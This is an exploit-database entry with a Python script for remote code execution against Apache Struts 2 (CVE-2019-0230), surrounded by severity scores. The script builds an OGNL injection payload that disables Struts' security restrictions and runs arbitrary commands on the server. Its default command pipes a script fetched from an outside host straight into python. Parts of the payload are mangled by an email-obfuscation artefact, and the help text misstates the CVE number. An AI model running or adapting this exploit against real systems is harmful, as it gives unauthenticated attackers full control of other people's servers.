Lucene search

K
zdtWest Shepherd1337DAY-ID-35263
HistoryNov 17, 2020 - 12:00 a.m.

Apache Struts 2.5.20 - Double OGNL evaluation Exploit

2020-11-1700:00:00
West Shepherd
0day.today
71

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.6 High

AI Score

Confidence

High

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.954 High

EPSS

Percentile

99.3%

# Exploit Title: Apache Struts 2.5.20 - Double OGNL evaluation
# Exploit Author: West Shepherd
# Vendor Homepage: https://struts.apache.org/download.cgi
# Version: Struts 2.0.0 - Struts 2.5.20 (S2-059)
# CVE : CVE-2019-0230
# Credit goes to reporters Matthias Kaiser, Apple InformationSecurity, and the Github example from PrinceFPF.
# Source(s):
# https://github.com/PrinceFPF/CVE-2019-0230
# https://cwiki.apache.org/confluence/display/WW/S2-059
# *Fix it, upgrade to: https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.22

# !/usr/bin/python
from sys import argv, exit, stdout, stderr
import argparse
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import logging


class Exploit:
    def __init__(
            self,
            target='',
            redirect=False,
            proxy_address=''
    ):
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        self.target = target
        self.session = requests.session()
        self.redirect = redirect
        self.timeout = 0.5
        self.proxies = {
            'http': 'http://%s' % proxy_address,
            'https': 'http://%s' % proxy_address
        } \
            if proxy_address is not None \
               and proxy_address != '' else {}
        self.query_params = {}
        self.form_values = {}
        self.cookies = {}
        boundary = "---------------------------735323031399963166993862150"
        self.headers = {
            'Content-Type': 'multipart/form-data; boundary=%s' % boundary,
            'Accept': '*/*',
            'Connection': 'close'
        }
        payload = "%{(#nike='multipart/form-data')." \
                  "(#[emailΒ protected]@DEFAULT_MEMBER_ACCESS)." \
                  "(#_memberAccess?(#_memberAccess=#dm):" \

"((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
\

"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
\
                  "(#ognlUtil.getExcludedPackageNames().clear())." \
                  "(#ognlUtil.getExcludedClasses().clear())." \
                  "(#context.setMemberAccess(#dm)))).(#cmd='{COMMAND}')." \

"(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
\

"(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." \
                  "(#p=new
java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true))." \

"(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse()."
\

"getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
\
                  "(#ros.flush())}"

        self.payload = "--%s\r\nContent-Disposition: form-data;
name=\"foo\"; " \
                       "filename=\"%s\0b\"\r\nContent-Type:
text/plain\r\n\r\nx\r\n--%s--\r\n\r\n" % (
                           boundary, payload, boundary
                       )

    def do_get(self, url, params=None, data=None):
        return self.session.get(
            url=url,
            verify=False,
            allow_redirects=self.redirect,
            headers=self.headers,
            cookies=self.cookies,
            proxies=self.proxies,
            data=data,
            params=params
        )

    def do_post(self, url, data=None, params=None):
        return self.session.post(
            url=url,
            data=data,
            verify=False,
            allow_redirects=self.redirect,
            headers=self.headers,
            cookies=self.cookies,
            proxies=self.proxies,
            params=params
        )

    def debug(self):
        try:
            import http.client as http_client
        except ImportError:
            import httplib as http_client
        http_client.HTTPConnection.debuglevel = 1
        logging.basicConfig()
        logging.getLogger().setLevel(logging.DEBUG)
        requests_log = logging.getLogger("requests.packages.urllib3")
        requests_log.setLevel(logging.DEBUG)
        requests_log.propagate = True
        return self

    def send_payload(self, command='curl --insecure -sv
https://10.10.10.10/shell.py|python -'):
        url = self.target
        stdout.write('sending payload to %s payload %s' % (url, command))
        resp = self.do_post(url=url, params=self.query_params,
data=self.payload.replace('{COMMAND}', command))
        return resp


if __name__ == '__main__':
    parser = argparse.ArgumentParser(add_help=True,
                                     description='CVE-2020-0230 Struts
2 exploit')
    try:
        parser.add_argument('-target', action='store', help='Target
address: http(s)://target.com/index.action')
        parser.add_argument('-command', action='store',
                            help='Command to execute: touch /tmp/pwn')
        parser.add_argument('-debug', action='store', default=False,
help='Enable debugging: False')
        parser.add_argument('-proxy', action='store', default='',
help='Enable proxy: 10.10.10.10:8080')

        if len(argv) == 1:
            parser.print_help()
            exit(1)
        options = parser.parse_args()

        exp = Exploit(
            proxy_address=options.proxy,
            target=options.target
        )

        if options.debug:
            exp.debug()
            stdout.write('target %s debug %s proxy %s\n' % (
                options.target, options.debug, options.proxy
            ))

        result = exp.send_payload(command=options.command)
        stdout.write('Response: %d\n' % result.status_code)

    except Exception as error:

stderr.write('error in main %s' % str(error))

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.6 High

AI Score

Confidence

High

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.954 High

EPSS

Percentile

99.3%